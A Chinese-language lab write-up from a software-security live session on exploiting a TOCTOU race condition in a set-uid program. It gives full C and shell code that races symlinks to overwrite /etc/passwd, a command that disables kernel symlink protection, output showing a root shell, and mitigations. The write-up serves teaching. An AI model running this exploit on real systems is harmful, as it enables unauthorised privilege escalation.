軟體安全live第五期:軟體安全-競爭條件漏洞
本期live互動、答疑相關問題歸檔:
【軟體安全】輕鬆利用競爭漏洞提權Race Condition
概述競爭條件
char* fn = "/tmp/xyz"
檢查access(fn,W_OK) 使用open(fn,"a+")在檢查和使用的時候fn所指向的文件不是一個文件
檢查的時候判斷的是用戶真實ID 使用的時候判斷的是用戶的有效ID本實驗的目的是利用這個漏洞獲得root許可權
我們需要創造競爭條件,來完成這個實驗
競爭條件需求:1. 需要這個有漏洞的程序反覆運行2. 需要一個反覆更改/tmp/xyz文件的鏈接3. 需要一個反覆檢查結果是否成功的腳本初始化攻擊環境
- 實驗環境:ubuntu12
- 關閉保護機制$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
- 創建普通文件./XYZ
漏洞程序分析
漏洞程序源碼:vulp.c
#include <stdio.h>#include <unistd.h>#include <string.h>int main(){ char * fn = "/tmp/xyz"; char buffer[] = "0000"; FILE *fp; if(!access(fn, W_OK)) { fp = fopen(fn, "r+"); fseek(fp,-28,SEEK_END); fwrite(buffer, sizeof(char), strlen(buffer), fp); fclose(fp); } else printf("No permission
");}
運行腳本:attack.sh
#!/bin/sh$a = 0while ["$a" == "$a"]do ./vulpdone
檢查運行結果是否修改了/etc/passwd文件:check.sh
#!/bin/shold=`ls -l /etc/passwd`new=`ls -l /etc/passwd`while [ "$old" = "$new" ]do new=`ls -l /etc/passwd`doneecho "STOP... The passwd file has been changed"
修改/tmp/xyz軟鏈接源文件:scrip.c
#include <unistd.h>int main(){ while(1) { unlink("/tmp/xyz"); symlink("/home/seed/Seed/race-condition/XYZ","/tmp/xyz"); usleep(10000); unlink("/tmp/xyz"); symlink("/etc/passwd","/tmp/xyz"); usleep(10000); } return 0;}
漏洞利用獲得root許可權
- 普通用戶編譯scrip.c,運行循環執行腳本attack.sh
- root用戶編譯vulp.c,設置set-uid位,普通用戶運行
- 運行檢查結果腳本check.sh
攻擊結果:
gu:x:0000:1004::/home/gu:/bin/sh[03/26/2018 23:17] seed@ubuntu:~/Seed/race-condition$ su guPassword: # # whoamiroot#
保護措施
- 保證檢查和使用的文件是同一個文件
- 及時回收set-uid的特權
- 打開ubuntu12系統保護$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
推薦閱讀:
※某種流量劫持攻擊的原理簡述和演示
※「黑客」杭特:為什麼老濕父更看重「防」?
※幾維安全提醒勒索病毒又來襲 網路安全行業或迎機遇
※業務連續性計劃概述(Day008)
※美國國家網路空間安全態勢感知協調機制